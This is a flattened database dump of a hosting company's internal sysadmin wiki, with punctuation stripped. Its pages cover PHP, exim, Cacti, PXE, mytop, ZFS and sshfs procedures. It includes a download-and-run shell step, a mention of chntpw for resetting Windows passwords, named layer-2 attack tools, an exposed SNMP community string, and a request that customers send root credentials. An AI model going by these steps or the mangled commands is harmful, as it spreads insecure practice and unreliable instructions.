php_version -mail-header patch cd php- php_version patch -p1 usr src php- php_version -mail-header patch rm -f usr src php- php_version -mail-header patch if -e usr local bin php ; then php usr local bin php else php usr bin php fi cfg php -i grep configure sed s \' g sed s configure --with-apxs apxs 1 2 cfgline cfg## --prefix usr local php5 --exec-prefix usr local php5 --program-suffix 5 --enable-force-cgi-redirect --enable-discard-path configure cfgline make make install cp -f php ini-recommended usr local php5 lib php ini cp usr local php5 bin php5 usr local cpanel cgi-sys php5 chown root wheel usr local cpanel cgi-sys php5 php5conf grep php5 conf usr local apache conf httpd conf if php5conf ; then echo action application x-httpd-php5 cgi-sys php5 usr local apache conf php5 conf echo addtype application x-httpd-php5 php5 usr local apache conf php5 conf echo include usr local apache conf php5 conf usr local apache conf httpd conf fi configtest etc init d httpd configtest grep -m1 syntax awk \' print 2 \' if configtest ok ; then echo restarting apache now etc init d httpd restart echo done enjoy php5 else echo there may have been a problem with this installation echo please check the httpd conf for syntax with \' etc init d httpd configtest\' fi exit 0 '),(76,'wiki index php',' wanna watch over 3000 tv station here check - watch tv online 3000 stations georget '),(77,'creating backup user accounts',' creating backup user accounts there is a script go felipe on each storage server located in home sagotech called addbackupuser which will create the user account create the forward email file and set the quota for the new user you can use this script to automate this task or do it manually using the instructions below note you still must manually set the password for the account also the script does not have a remove account option see section below on removing accounts you must modify the ubersmith meta data to show the account correctly see section below  manually creating backup user accounts  are you sure you don\'t want to use the script mentioned above okay login to the storage server with root privileges type the following usr sbin useradd -d backup username -s usr bin rssh username run the password command to create the user user\'s password passwd username change the password to whatever the customer wants or a secure random password if the customer has no preference set the quota for the customer see quota section setting the quotas manually setting the quotas manually setting the quotas manually see checknig changing quotas the scripts makes this much easier updating ubersmith updating ubersmith updating ubersmith modify the backup service description so it includes both the backup server the account is on and the account name for example 6450  generic data backup - storage1 sagonet com - kpeople  bac1 03 14 2008 04 14 2008 no end date set monthly 5 00 0 00 quick edit details removing users removing users removing users bash-3 1# usr sbin userdel username don\'t forget to manually remove the directory too bash-3 1# rm -rf backup username add backupuser script add backupuser script add backupuser script for posterity # bin bash #creating the user with home directory backup username and rssh login command uses first input for username useradd -d backup 1 -s usr bin rssh 1 #asking for the customer customer\'s email address echo please type 1 email address read email #adding the forward file in the user user\'s home directory echo email backup 1 forward #changing the permission so that it is owed by the user bin chown 1 1 backup 1 forward #asking for the customer customer\'s quota size in gb echo please enter quota size for 1 in gb read quotasize #using 2nd input to create the quotaspace in bytes quotaspace expr quotasize 1024 1024 #setting quota for the user setquota -u 1 quotaspace quotaspace 0 0 -a '),(78,'checknig changing quotas',' this has been replaced with linux file system quotas to check quotas of a user type repquota -a this will show a list of all users and the quotas assigned to them to change the quota for a user type edquota username this command will bring you into a vi editor so you can edit the user user\'s quotas change the soft and hard limits to what the customer is provisioned for if you are not sure of the limits you can calculate them or look at the limits for another customer who has the same amount of space and use the same '),(79,'exim tools',' queue information to print a count of the messages in the queue root localhost# exim -bpc print a listing of the messages in the queue time queued size message-id sender recipient root localhost# exim -bp print a summary of messages in the queue count volume oldest newest domain and totals root localhost# exim -bp exiqsumm generate and display exim stats from a logfile root localhost# eximstats var log exim_mainlog same as above with less verbose output root localhost# eximstats -ne -nr -nt var log exim_mainlog same as above for one particular day root localhost# fgrep yyyy-mm-dd var log exim_mainlog eximstats print what exim is doing right now root localhost# exiwhat searching the queue searching the queue searching the queue search the queue for messages from a specific sender root localhost# exiqgrep -f luser domain search the queue for messages for a specific recipient domain root localhost# exiqgrep -r luser domain to print just the message-id of the entire queue root localhost# exiqgrep -i managing the queue managing the queue managing the queue start a queue run root localhost# exim -q -v start a queue run for just local deliveries root localhost# exim -ql -v remove a message from the queue root localhost# exim -mrm freeze a message root localhost# exim -mf deliver a specific message root localhost# exim -m force a message to fail and bounce root localhost# exim -mg remove all frozen messages root localhost# exiqgrep -z -i xargs exim -mrm freeze all queued mail from a given sender root localhost# exiqgrep -i -f luser example tld xargs exim -mf view a message message\'s headers root localhost# exim -mvh view a message message\'s body root localhost# exim -mvb view a message message\'s logs root localhost# exim -mvl '),(80,'cacti snmp monitoring',' steps for setting up cacti from sago networks cacti kb 1 login to both the server and cacti 2 install snmpd on the server centos yum -y install net-snmp-utils debian ubuntu apt-get install freebsd cd usr ports net net-snmp-utils ; make install clean windows who knows 3 configure snmp making note of a random community string on first line etc snmp snmpd conf or usr local etc snmpd conf respectively here is an example com2sec notconfiguser default esoo4air group notconfiggroup v1 notconfiguser group notconfiggroup v2c notconfiguser view all included 1 access notconfiggroup any noauth exact all none none view all included 1 4 ensure that the firewall is open for udp port 161 to stats cust sagonet com 65 110 32 145 here is the line for apf in the allow hosts file #sago service resource monitoring udp in d 161 s 65 110 32 145 5 ensure snmpd is on and that it will start on on boot etc init d snmpd restart chkconfig snmpd on 6 add a new device in cacti by clicking on devices on the left then clicking add 7 fill in all the fields for host template choose local linux machine for snmp options choose version 2 and put in that community string from step 3 into the appropriate field then click create 8 click on the device that you have made in the list and click create graphs 9 selected the checkboxes for all the graphs and click create 10 click console then graph tree 11 click add type in the customer customer\'s name then create 12 click add and add the customer customer\'s server to the tree entry when you are done click save at the bottom 13 wait 5 minutes and then check back to make sure each graph is showing there likely will be one or two that do not graph go to the console button at the top then graph management and remove those specific graphs no one likes a blank graph 14 click console at the top then user management then add 15 fill in username full name and password then check the enabled checkbox check view graphs at the bottom then click create 16 click the username you just created then click graph permissions 17 for tree permission pull down the pulldown box select the tree entry then click add 18 for graph permissions by device pull down the pulldown box select the server then click add 19 log out and log back in with the user account you just created and ensure you can see only the graph tree and item for this customer 20 send information to customer through a ticket '),(81,'loop mounted virtual partition manager',' loopmounted has several great projects for os deployment site for the partition tool in lvmp project home page sourceforge download page ah you may say to yourself that that\'s great except what if damn server doesn\'t pxe boot what if the switch is not on the install vlan what if there are other pxe issues what if i want as many options as flavors of doritos well outside the fact that you can enable pxe with a bios update & proper config on almost all the boards we have there is yet another solution that gives you a fully functioning gui live environment with no cd needed it it\'s called lvpm - loop mounted virtual partition manager and you you have to do is install one rpm yes one rpm yea i know - its sick you install one rpm or deb package that installs a full separate boot image and modifies grub on the server just reboot select the new environment and boot it and viola\' you boot into a live gui environment with gpartd partd grub installer a shell firefox etc etc is it really that easy yep - easy like this 1 wget or wget or - easier to remember 2 install that package rpm -ivh unetbootin-partitionmanagerrev146-2 noarch rpm 3 reboot and see it now available as a grub option select it and boot up 4 bam - you will now be in the environment you can start networking with the icon on the tool bar and launch the visual partitioner gpartd use the other tools etc this just downloads the image for the environment modifies grub to point to it and bob bob\'s your uncle live cds are pretty much a waste of time outside complete disasters with pxe linux and with this loop mounted virtual partition manager have a lot of fun pete kyle anderson wrote that our pxe linux environment can be used in place of a live cd you can just get on pxe get the thing loaded then change back to the customer customer\'s ethernet and set his ips set a password and then turn on ssh ask me if you can\'t figure out how did you also know that you can use it to repartition servers non-destructively just load it and run startx gparted is in the menu just right click to get the menu did you also know that you can use it to reset windows passwords mount the ntfs partition cd to the windows system32 directory or whatever and run the chntpw command roxors so really stop hunting around for scratched up knoppix cds and non-booting usb-cdroms pxe is the future '),(82,'linux account management',' some good references on managing accounts and permissions january 1 1970 start of unix epoch '),(83,'network monitoring tools',' a pdf presentation of managing on ip networks with free software the pdf contains numerous references to various tools including one which makes graphs given various types of input files  rancid   network scanning  '),(84,'system integrity monitor',' system integrity monitor is installed as part of the sago server hardening script this tool is distributed by the same guys that make apf if you install sim you must ensure you configure it correctly the package is normally unzipped into root and install runs from there by default it will be installed to usr local sim the config file is normally at usr local sim conf sim  setup  there is a setup script in the unzip directory that can be run for initial setup or to reconfigure after the initial hardening script is run # setup -i install -q quick install -u uninstall -c install uninstall cronjob the setup will ask you what services you want to monitor how many times they should be restarted etc you also set the load factors at which you want notification sent etc  defaults  you can\'t just accept all the defaults that won\'t work you have to check and see for example what mail server ftp server etc the client is using and enter full paths to those so when you configure it just ctl-z out and verify their environment and bring the setup back to fore ground and input correct values  process monitoring  sim does not monitor ports it monitors running processes by name if you don\'t tell it the right process name - it won\'t work  using  after the initial set up you can verify things are working by running sim with it it\'s options -bash-3 00# sim sim 2 5-4 usage usr local sbin sim -q quiet mode -v verbose mode -c clear data & log files -l display log file -s display status information -u check for sim updates -j install remove sim cronjob  how it runs  sim does not run as a daemon and you won\'t see it running as a process usually as it is simple run periodically from cron so you can modify this in etc cron daily if i recall right  sample conf sim  coming soon to a theater near you '),(85,'pxe boot server',' some good general guides to setting up a pxe environment open suse 10 3 open suse 10 3 open suse 10 3 instructions for setting up dhcpd tftp etc and a general guide are at install with yast syslinux tftp yast2-tftp-server dhcp-server yast2-dhcp-server make the two directories tftpboot pxelinux cfg create a file named default there callandor tftpboot pxelinux cfg # cat default default linux prompt 1 timeout 30 label linux kernel linux append initrd initrd splash silent showopts additional menu config files can be created in the pxelinux cfg directory configure dhcpd server configure dhcpd server configure dhcpd server note if you run yast after configuring this file it will be over written save a copy of a working version so it will be lost etc dhcpd conf suse 10 3 config option domain-name-servers 66 118 170 2; option routers 192 168 2 1; ddns-update-style none; default-lease-time 14400; subnet 192 168 2 0 netmask 255 255 255 0 range 192 168 2 20 192 168 2 40; default-lease-time 14400; max-lease-time 172800; next-server 192 168 2 5; server-name 192 168 1 5 ; filename pxelinux 0 ; three arguments are needed for pxe booting in addition to the regular dhcpd configs if the pxe boot is very slow and lists each file being searched for for quite a while ensure the next-server argument is set the last two server-name and filename are required for pxe here is a slightly different config for suse 11 this adds host clauses which permanently bind static ip addresses to specific hosts option domain-name house com ; option domain-name-servers 192 168 2 3 66 118 170 2; option routers 192 168 2 1; option ip-forwarding on; default-lease-time 14400; ddns-update-style none; next-server 192 168 2 3; subnet 192 168 2 0 netmask 255 255 255 0 range 192 168 2 50 192 168 2 60; default-lease-time 14400; max-lease-time 172800; filename pxelinux 0 ; host callandor hardware ethernet 00 11 09 dc 71 4c; fixed-address 192 168 2 3; host appleg4 hardware ethernet 00 03 93 56 47 28; fixed-address 192 168 2 11; to bind the dhcp server to a specific nic edit etc sysconfig dhcpd to include dhcpdargs eth1 tftp server tftp server tftp server this is extremely easy to set up you can install either the basic tftp server from yast or atftp also install the tftp server yast control panel plug in if using the basic server it is configured in as an xinit d service in etc xinetd d tftp if using aftp there is a separate config file in etc sysconfig atftpd - a bare bones one would contain atftpd_options --daemon atftpd_use_inetd no atftpd_directory tftpboot atftpd_bind_addresses note you can specify a user to run it as such as atftpd_options --daemon --user tftp -v however ensure this user is created on the system i just run it as root starting & verifying services starting & verifying services starting & verifying services dhcp and tftp servers can be started from yast the dhcp server can also be invoked with #rcdhcpd restart there is no init script for tftp - it runs from etc xinetd d verify they are both running with #netstat -tuple udp 0 0 bootps root 321347 9804 dhcpd udp 0 0 tftp root 143287 5344 xinetd troubleshooting troubleshooting troubleshooting watch var log messages for dhcp and tftp server information and errors here you will see the dhcp lease discovery offer request and acknowledge dora packets as well as tftp server messages if you get an ip address on the client but a message that the configuration file can not be found then verify permissions on the tftp or tftpboot folder and sub folders are correct they should be 755 minimum otherwise the tftp server may not be able to traverse directories to get to the default file to server typically tftpboot pxelinux cfg default if you don\'t get an ip then verify your etc dhcpd conf file is correct and disable your firewall or ensure the port is open graphical pxe menus graphical pxe menus graphical pxe menus this site has some fancy howtos on making colorfull pxe screens with munus etc this is actual a virtual machine you run that will help create a whole color pxe menu environment with a splash screen converter etc another method for making custom splash screens can be found at specifying colors in syslinux is tricky you do not use standard bash style escape sequence instead you have to use display in syslinux to display a filename txt in that file you can pass some color arguments using the format discribed at the trick is that if you create the file in vi in order to enter the si control code to prefix the color codes you have to use a special vi sequence this is done in insert mode by first pressing ctrl-v followed by the control code you want to insert or in this case ctrl-o for the ascii si sequence needed kiwi pxe kiwi pxe kiwi pxe ubuntu pxe server ubuntu pxe server ubuntu pxe server '),(86,'mytop - sql monitor',' updated  now install mytop now in less than a minute   i wrote a script to do the steps below using the current versions of the required perl dependencies if it does not work then you can do the steps below which are pretty easy superfast method 1 wget ks sagonet com mytop mytopinstall sh 2 bash mytopinstall sh 3 there is no step three this appears to work fine on centos 4 6 & cpanel boxes if not it it\'s not hard to do - read on  installing mytop in less than 10 minutes  mytop is a process monitor for mysql similar to top it is very useful but is rather a pain in the ass to install as it has a  lot  of perl module dependencies and of course they may in fact be installed but trying to install mytop will likely say they are not this can be solved with correcting perl module dependencies fail you can\'t just install the perl modules in cpanel as they won\'t be registered in the rpm database so you will still get errors when you try to install mytop you can install this very quickly as all the dependencies can be resolved quickly using this method the fast way of resolving the dependencies is  installing mytop   1 ensure perl is not listed in exclusions in etc yum conf remove it temporarily and put it back in when done 2 now install perl-dbi just from base yum install perl-dbi it should find it fine - if so install from here other wise add the repos below it is also in dag 3 install perl-termreadkey-2 30-1 i386 rpm wget www timelordz com scripts perl-termreadkey-2 30-1 i386 rpm or wget ks sagonet com mytop perl-termreadkey-2 30-1 i386 rpm or build it yourself using cpan2rpm etc updated repo setup steps 4 and 5 are updated as follows rather than manually entering the repos for dag ane dries you can now just install an rpm to set up rpmforge set up the rpmforge repo - just wget the proper rpmforge rpm from here import the gpg key for rpmforge for you centos version 4 add dag and dries to etc yum conf like this remove these when done or set enable 0 # put your repos here or in separate files named file repo # in etc yum repos d dag name dag rpm repository for red hat enterprise linux baseurl releasever en basearch dag gpgcheck 1 enabled 1 dries name extra fedora rpms dries - releasever - basearch baseurl gpgcheck 1 enabled 1 5 install the gpg key for dag rpm -uhv 6 finally - install mytop yum install mytop it should find and install it from dag fine now some color output features have additional perl module dependencies now that it is installed you should be able to install those with cpan yum or cpan2rpm 7 cleanup - remove disable dag and dries from etc yum conf and put perl back in exclusions now have fun with mytop '),(87,'network speed test',' speed test tools there are a number of tools for testing network speeds the simplest is to just grab a file using wget the output of which will display the transfer speed you can just put a 5 or 10mb file on one of your servers in a web directory and then wget that file from another server to make an arbitrary size file you can use #dd if dev zero of 10meg test bs 1024k count 10 will create a 10mb file change count to any size you like now from another server wget that file you just made archimedes anduril wget 66 118 10 130 10meg test --07 40 02-- 10meg test\' connecting to 66 118 10 130 80 connected http request sent awaiting response 200 ok length 10 485 760 10m text plain 100 10 485 760 8 86m s 07 40 03 8 86 mb s - 10meg test\' saved 10485760 10485760 this shows the file was downloaded at 8 8mb sec try a test download from our network 5mb test download file - wget 10mb test download file - wget 50mb test download file - wget extended speed testing extended speed testing extended speed testing wget is certainly fine in many cases however another tool to use is nttcp - a network speed diagnostic program this is easy to obtain you can apt-get install it for debian and for centos fedora suse you an easily find an rpm for it at sites like download it once on to a server and place it where you can just wget it as needed onto other servers you want to test it must be present on both sending and receiving ends  note   nttcp sends and receives udp on port 5037 by default ensure your firewall is configured correctly or disable it or specify open ports using the -p option using it is very simple on one end simply start it with the -i switch #nttcp -i on the other end you can run tests like this #nttcp -t -t destination-ip -t for transmit from local server #nttcp -r -t destination-ip -r for receive to local server it will output results like this root 66-118-10-0 # nttcp -t -t 66 118 10 5 bytes real s cpu s real-mbit s cpu-mbit s calls real-c s cpu-c s l 8388608 0 74 0 01 90 1597 13421 7728 2048 2751 46 409600 0 1 8388608 0 75 0 06 89 4336 1198 3084 5365 7149 75 95798 4 you can see this shows 90mbit or 9mb - transfer speeds on this server the manual page covers other options - you can designate the port to use and whether to send tcp or udp packets as well as the amount of data to send default is 8 mb use the -n switch to specify the number of buffers each of which has a default size of 4096 bytes to send if you send 2048 buffers each 4096 bytes you get 8mb so for 16mb just send 4096 buffers etc #nttcp -t -t -p 5037 -n 4096 66 118 149 130 this would -t transmit data to -p port 5037 default sending -n 4096 buffers 16mb to destination 66 118 149 130 to reverse the direction of transfer make it go from remote host to local host simple change the -t to a -r for receive  iperf tool  iperf can be downloaded as an rpm from sample of this test looks like so -c specifies to run the client side of the program and the server in this case is 66 118 10 20 -i interval reporting 1 second in this case -t 5 second test -r do a bidirectional test one way at a time -w specifying window size 83 3k is approx 80 mbps higher is more for example 100k would max out the nic performance to 12 5 mbps if the system can handle it and generate the traffic bash-2 05b# iperf -c 66 118 10 20 -w 83 3k -i 1 -t 5 -r ------------------------------------------------------------ server listening on tcp port 5001 tcp window size 83 3 kbyte ------------------------------------------------------------ ------------------------------------------------------------ client connecting to 66 118 10 20 tcp port 5001 tcp window size 83 4 kbyte warning requested 83 3 kbyte ------------------------------------------------------------ 5 local 207 150 10 20 port 55239 connected with 66 118 10 20 port 5001 5 0 0- 1 0 sec 9 98 mbytes 83 8 mbits sec 5 1 0- 2 0 sec 10 4 mbytes 87 1 mbits sec 5 2 0- 3 0 sec 10 4 mbytes 87 0 mbits sec 5 3 0- 4 0 sec 10 3 mbytes 86 6 mbits sec 5 4 0- 5 0 sec 10 4 mbytes 87 1 mbits sec 5 0 0- 5 0 sec 51 5 mbytes 86 3 mbits sec 4 local 207 150 10 20 port 5001 connected with 66 118 10 20 port 60513 4 0 0- 1 0 sec 10 1 mbytes 84 6 mbits sec 4 1 0- 2 0 sec 8 35 mbytes 70 1 mbits sec 4 2 0- 3 0 sec 7 12 mbytes 59 7 mbits sec 4 3 0- 4 0 sec 9 97 mbytes 83 6 mbits sec 4 4 0- 5 0 sec 10 5 mbytes 87 8 mbits sec 4 0 0- 5 0 sec 46 0 mbytes 77 2 mbits sec bash-2 05b# analysing results analysing results analysing results if you see speeds that are lower than you expect here are some things to consider a 100mbit link will show an effective transfer of approximately 80mb 100mbit 8 bits per byte - tcp udp ethernet overhead if you are testing this between servers which are both on our network you should see excellent speeds approaching link capacity if you test from a remote server or home office to your server in the dc your speeds will likely be significantly lower as you are going through many routers and networks to get to use if your internal server to server results are great and your external outside to sever results are poor it is almost certain there is an issue between you and us en route this can be with a provider having a saturated link with a temporary outage or planned service or with a number of other factors which are outside the bounds of our network so if that is the case how can you tell where the problem really is trouble shooting slow links trouble shooting slow links trouble shooting slow links  if you are having slow transfer speeds we will very likely ask you for trace route or mtr results   the standard trace route is great for showing which step of the route from you to your server is the bottle neck simply use callandor # traceroute 66 118 10 5 traceroute to 66 118 149 130 66 118 10 5 30 hops max 40 byte packets 1 192 168 2 1 192 168 2 1 2 250 ms 2 641 ms 1 633 ms 2 10 97 99 99 10 97 99 99 8 794 ms 14 778 ms 16 925 ms 3 gig10-0-0-2101 tampfledc-rtr2 tampflrdc rr com 65 32 29 114 19 692 ms 11 051 ms 11 321 ms 4 ge1-2-0 tampfledc-rtr4 tampflrdc rr com 65 32 13 33 15 365 ms 15 030 ms 15 316 ms 5 te-3-1 car2 tampa1 level3 net 4 79 146 1 16 050 ms 19 491 ms 12 478 ms 6 ae-7-7 ebr1 dallas1 level3 net 4 69 133 42 23 627 ms 24 856 ms 19 892 ms 7 ae-0-11 bar1 tampa1 level3 net 4 69 137 109 16 285 ms 16 814 ms 12 529 ms 8 ae-6-6 ebr2 atlanta2 level3 net 4 69 137 114 37 614 ms 30 896 ms 29 215 ms 9 ae-22-52 car2 atlanta1 level3 net 4 68 103 35 29 659 ms ae-12-51 car2 atlanta1 level3 net 4 68 103 3 29 983 ms ae-22-52 car2 atlanta1 level3 net 4 68 103 35 36 124 ms 10 wbs-connect car2 atlanta1 level3 net 4 78 211 54 37 043 ms 36 982 ms 36 270 ms 11 ve40 core01a tpa sagonet net 63 246 159 41 49 014 ms 48 494 ms 41 420 ms 12 gige4 ds-b 03 tpa sagonet net 66 118 133 214 42 089 ms gige1 ds-b 03 tpa sagonet net 65 110 32 48 46 069 ms gige4 ds-b 03 tpa sagonet net 66 118 133 214 46 713 ms 13 moria 66 118 10 5 49 687 ms 46 721 ms 46 868 ms here you can see the entire route and the length of time from each hop router to the next you can also see the provider provider\'s name roadrunner level3 and then sago all the times are from 20 - 50ms if you see any in the hundreds of higher that is bad you can also use a great tool called mtr - this is easily installed for all distros from their repos or for windows from this is like running a trace rotue over and over and accumulating statistics you can pause it with p or run it for a certain number of -c counts and -r report the results callandor # mtr -c 10 -r 66 118 10 20 host callandor loss snt last avg best wrst stdev 1 192 168 2 1 0 0 10 1 5 1 5 1 5 1 7 0 1 2 10 97 96 99 0 0 10 8 7 8 6 7 8 11 5 1 1 3 gig10-0-0-2101 tampfledc-rtr 0 0 10 11 8 10 7 8 9 12 0 1 0 4 ge1-2-0 tampfledc-rtr4 tampf 0 0 10 11 7 11 3 9 2 14 4 1 6 5 te-3-1 car2 tampa1 level3 ne 0 0 10 123 5 22 1 9 0 123 5 35 6 6 ae-7-7 ebr1 dallas1 level3 n 0 0 10 10 7 13 1 10 3 32 6 6 9 7 ae-0-11 bar1 tampa1 level3 n 0 0 10 13 2 11 3 10 1 13 2 0 8 8 ae-6-6 ebr2 atlanta2 level3 0 0 10 40 9 34 7 28 7 40 9 4 5 9 ae-22-52 car2 atlanta1 level 0 0 10 29 0 79 6 28 2 199 4 64 2 10 wbs-connect car2 atlanta1 le 0 0 10 33 6 30 3 28 5 33 6 1 4 11 ve40 core01a tpa sagonet net 0 0 10 41 2 41 9 39 8 44 7 1 3 12 gige1 ds-b 03 tpa sagonet ne 0 0 10 40 4 41 9 40 4 44 5 1 1 13 moria 0 0 10 42 0 42 6 41 7 43 7 0 7 speed duplex issues speed duplex issues speed duplex issues allright you have run the above tests using wget and nttcp and are seeing that server to server transfer speeds are extremely slow like 1 mb sec or something really silly there is a 99 chance the issue is due to a speed duplex setting mismatch between your server and the switch to determine what your card and link is currently running at use root tardis web # mii-tool eth0 negotiated 100basetx-fd link ok eth1 no link some distros do not have that installed by default but do have ethtool root tardis web # ethtool eth0 settings for eth0 supported ports tp mii fibre supported link modes 10baset half 10baset full 100baset half 100baset full supports auto-negotiation yes advertised link modes 10baset half 10baset full 100baset half 100baset full advertised auto-negotiation yes speed 100mb s duplex full port twisted pair phyad 1 transceiver internal auto-negotiation on supports wake-on pumbag wake-on d current message level 0x000040c5 16581 link detected yes you can reconfigure the link with root tardis web # mii-tool -f 100basetx-fd eth0 root tardis web # mii-tool -rr resetting the transceiver restarting autonegotiation resetting the transceiver restarting autonegotiation root tardis web # root tardis web # mii-tool eth0 negotiated 100basetx-fd link ok eth1 no link  note   mii-tool - and man mii-tool or man ethtool will give all the options if you set this incorrectly you can lock yourself out if that happens you an attempt a remote reboot from the customer portal and try other settings if you still can\'t resolve it open a ticket and please provide your root log in credentials so we can trouble shoot the link settings '),(88,'zfs file system',' intro zfs was developed by sun microsystems as a new file system is was designed from the ground up as an entirely new fs without relaying on legacy models it is garnering more notice these days and its design may be the filesystem of the future - zfs or some derivative many well be in wide deployment in the near future  it is like a jbod lvm software raid that actually works on steroids that can grow in capacity like the plague   it is extremely impressive with many features zetabyte capacity - it can store all information we humans are likely to have for the next few million years no practical limits on number of directories files in a directory size of files etc super easy raid - create a raid from multiple devices with one command zpools - just add devices to a pool regardless of physical drive sizes no partitioning no formatting - just add it dynamic capacity - it does not use partitions with fixed sizes but rather you can create as many file systems as you like - all will dynamically expand as needed easily set quotas to control how big they get if you like similar to lvm but better self healing - uses ecc like correction on the fly fsk not needed - using cop-on-write and mirroring of devices in a zpool essentially eliminates the need for fsck - though there is a zpool scrub tool available create instant filesystem backups - snapshots ro and clones rw of an entire filesystems are extremely fast to make backup a user directory of mysql directory in a few seconds  limitations  unfortunately although zfs is open-source from sun it is not gpl and therefor not supported in the linux kernel at this time it can however be pretty easily used in linux through fuse if you don\'t want to use fuse you can also consider opensolaris - which supports zfs nativly opensolaris is free for download the ability to shrink zpools in not supported in the current 4 0 build - it will be added soon update here is a wonderful presentation on zfs called zfs the last word in file systems by on of the engineers on sun sun\'s zfs team jeff bonwick and bill moore media zfs_last pdf i found this on a great sun blog site video demos video demos video demos super fast centos 4 6 5 0 install super fast centos 4 6 5 0 install super fast centos 4 6 5 0 install  either use dkms-fuse with the stock centos kernel or use the centos-plus kernel that contains the fuse kernel module   if you install the centos plus kernel you should not need dkms and dkms-fuse to build the kernel module it should already be loaded for you fuse can be installed with your package manager its available in rpmforge for centos also you will need additional packages to compile zfs later so might as well get them now too and might as well get sshfs if you are installing fuse as its too cool to be without  to install fuse and the kernel module    step 1  set up the rpmforge repo - just wget the proper rpmforge rpm from here import the gpg key for rpmforge for you centos version  step 2  now install the packages #yum install fuse fuse-devel libaio libaio-devel scons sshfs #yum install dkms dkms-fuse not needed for centos plus kernel #modprobe fuse note the dmks package builds the fuse kernel module note there is a service that will build the fuse kernel module for you which could be handy #service dkms_autoinstaller start ensure the module is loaded with lsmod grep fuse  step 3   installing zfs   now download and build zfs itself - it it\'s easy if trouble see sections later in wiki #wget bunzip2 the file tar -xvf it and cd to src directory #scons #scons install cd to src zfs-source # run sh & # zpool list additional zfs install notes additional zfs install notes additional zfs install notes  installing zfs on fuse  per this site there are some point to consider disable disk write caching on your disks with hdparm and sdparm very important create and import your pools with devices from dev disk by-id highly recommended build only from the latest stable branch see below run on system with 1gb or more zfs will use 128mb in operation installing zfs for fuse can now occur wget the latest stable source from wget the general project download page is unzip the source and cd to the src directory compile by running scons then scons install if you get various compile errors lib libzpool flushwc c 118 error win_flush_cache\' undeclared first use in this function lib libzpool flushwc c 118 error each undeclared identifier is reported only once lib libzpool flushwc c 118 error for each function it appears in scons lib libzpool build-user flushwc o error 1 scons building terminated because of errors verify you have downloaded a stable build try another version - the mercurial build current did not compile for me but the 4 0 beta 1 did just fine using zfs using zfs using zfs  starting zfs  start zfs with the start sh as root should be in src zfs-fuse you can move this script as use it as an init script configure with chkconfig etc  setting up zfs drives   you need to create a few files to use to build the zpool since linux does not have a built in mkfile command used in the tutorial create the files using dd then set the sticky bit with chmod ref #dd if dev zero of disk1 bs 1024k count 1000 #chmod t disk1 make 4 such files you should then have root tardis zfs # ls -lha total 4 0g drwxr-xr-x 3 root root 4 0k may 11 18 25 drwxr-xr-x 8 root root 4 0k may 11 18 11 -rw-r--r-t 1 root root 1000m may 11 18 16 disk1 -rw-r--r-t 1 root root 1000m may 11 18 19 disk2 -rw-r--r-t 1 root root 1000m may 11 18 20 disk3 -rw-r--r-t 1 root root 1000m may 11 18 25 disk4 drwx------ 2 root root 16k may 11 18 09 lost found zfs gui zfs gui zfs gui on solaris you can use a web gui front end to manage zfs # usr sbin smcwebserver start or svcadm enable svc system webconsole console in solaris express then connect to through your browser to per this site these packages are required # pkginfo grep sunwzfsg application sunwzfsgr zfs administration for sun java tm web console root application sunwzfsgu zfs administration for sun java tm web console usr zfs tutorial zfs tutorial zfs tutorial a good general tutorial however see below for steps to install fuse and zfs which is not covered here misc zfs links misc zfs links misc zfs links --- didn\'t work use how to compile zfs from source rpms and install fuse and the development and kernal sources zfs tools zfs tools zfs tools zrm to backup mysql databases using zfs snapshots related topics related topics related topics fuse fuse module '),(89,'vsftp config','  dis-allow ssh but allow ftp user connections  set the shell in etc passed to sbin nologin cisco x 500 500 home cisco sbin nologin edit vsftp conf to include # cat etc vsftpd vsftpd conf chroot_list_enable yes chroot_list_file etc vsftpd chroot_list # cat etc vsftpd chroot_list user add the allowed user to etc vsftpd userlist additional user acl otions # the list of users to give access userlist_file etc vsftpd userlist # this list is on userlist_enable yes # it is not a list of users to deny ftp access userlist_deny no  add user to ftp group  also make the member of ftp group ftp is the primary group of that user commands for new user useradd -g ftp -s sbin nologin for old user usermod -g ftp -s sbin nologin verify the groups the user is in # id username  additional usermod info  usermod example - add a existing user to existing group add existing user tony to ftp supplementary secondary group with usermod command using -a option i e add the user to the supplemental group s use only with -g option # usermod -a -g ftp tonychange existing user tony primary group to www # usermod -g www tony '),(90,'cisco security class','  fundamentals of network security   media resources  hacking democracy video on hbo about hacking in to change a democratic vote signal magazine - crypto equipment for military etc with past issues on line  network monitoring  rspan for port monitoring across switches  design models  cisco design models the security model of secure monitor test improve centered around defined security policies pdioo the design model plan design implement operate optimize is the cisco style system life cycle model for requirements definition through design and implementing networks network access control layer 2 attacks layer 2 attacks layer 2 attacks preso on layer 2 attacks dhcp network audit tool and dhcp dos attack tool ettercap is frighteningly easy to use sniff password arp poisoning ssh 1 hijacking etc this book is also available in pdf form ; very interesting book on layer 2 security yersinia is a network tool designed to take advantage of some weakeness in different network protocols it pretends to be a solid framework for analyzing and testing the deployed networks and systems you can use this for vlan attacks to construct packets with multiple vlan ids etc misc references misc references misc references internetworking with tcp ip vol 1 5th edition hardcover by douglas e comer author '),(91,'mounting remote file systems sshfs','  sshfs is a filesystem client based on the ssh file transfer protocol since most ssh servers already support this protocol it is very easy to set up i e on the server side thereu8e28099s nothing to do on the client side mounting the filesystem is as easy as logging into the server with ssh   sshfs is a tool which allows you to mount file systems from one server onto another over the network it uses ssh so the connection and all traffic is encrypted it requires fuse to run which is relatively easy to install fuse allows you to use various file systems in user space if you are using the centos extras kernel you already should have the kernel module otherwise you can install fuse and the module using the steps given in zfs file system once fuse is installed you can just yum install sshfs  sshfs basics   mounting filesystems  #sshfs user server com mountpoint if you want to automount them in ect fstab the entry would be like sshfs#novas timelordz com fileserver novas torrents fuse user allow_other port 1971 reconnect 0 0  umounting   #fusermount -u mountpoint user groups & permissions user groups & permissions user groups & permissions you can add users to the fuse group for allowing access to fuse mounted filesystems etc references references references '),(92,'cygwin bash for windows',' you can get cygwin from here  ssh  starting ssh server net start sshd or cygrunsrv --start sshd click here on how to stop the sshd service if the service fails to start try chown system etc ssh chown system var empty net start sshd stopping ssh server net stop sshd or cygrunsrv --stop sshd  apache  apachectl start usr sbin apachectl etc apache httpd conf  additional bash tools  w top and many other bash tools can be installed from the package procps '),(93,'false rpm database errors',' ever have this happen when trying to install rpms on customers boxes root ns downloads # rpm -uvh some_silly_package rpm error cannot open packages index using db3 - permission denied 13 error cannot open packages database in var lib rpm you then of course proceed with rpm -v --rebuilddb etc etc etc and it never resolves well sometimes it does of course but what if it does not i found a very interesting thing that can cause this - and it is not a problem with the rpm database at all a possible reason is the customer has installed les a tool from r-fx networks same guys that make sim and apf this will prevent everyone except root from making rpm 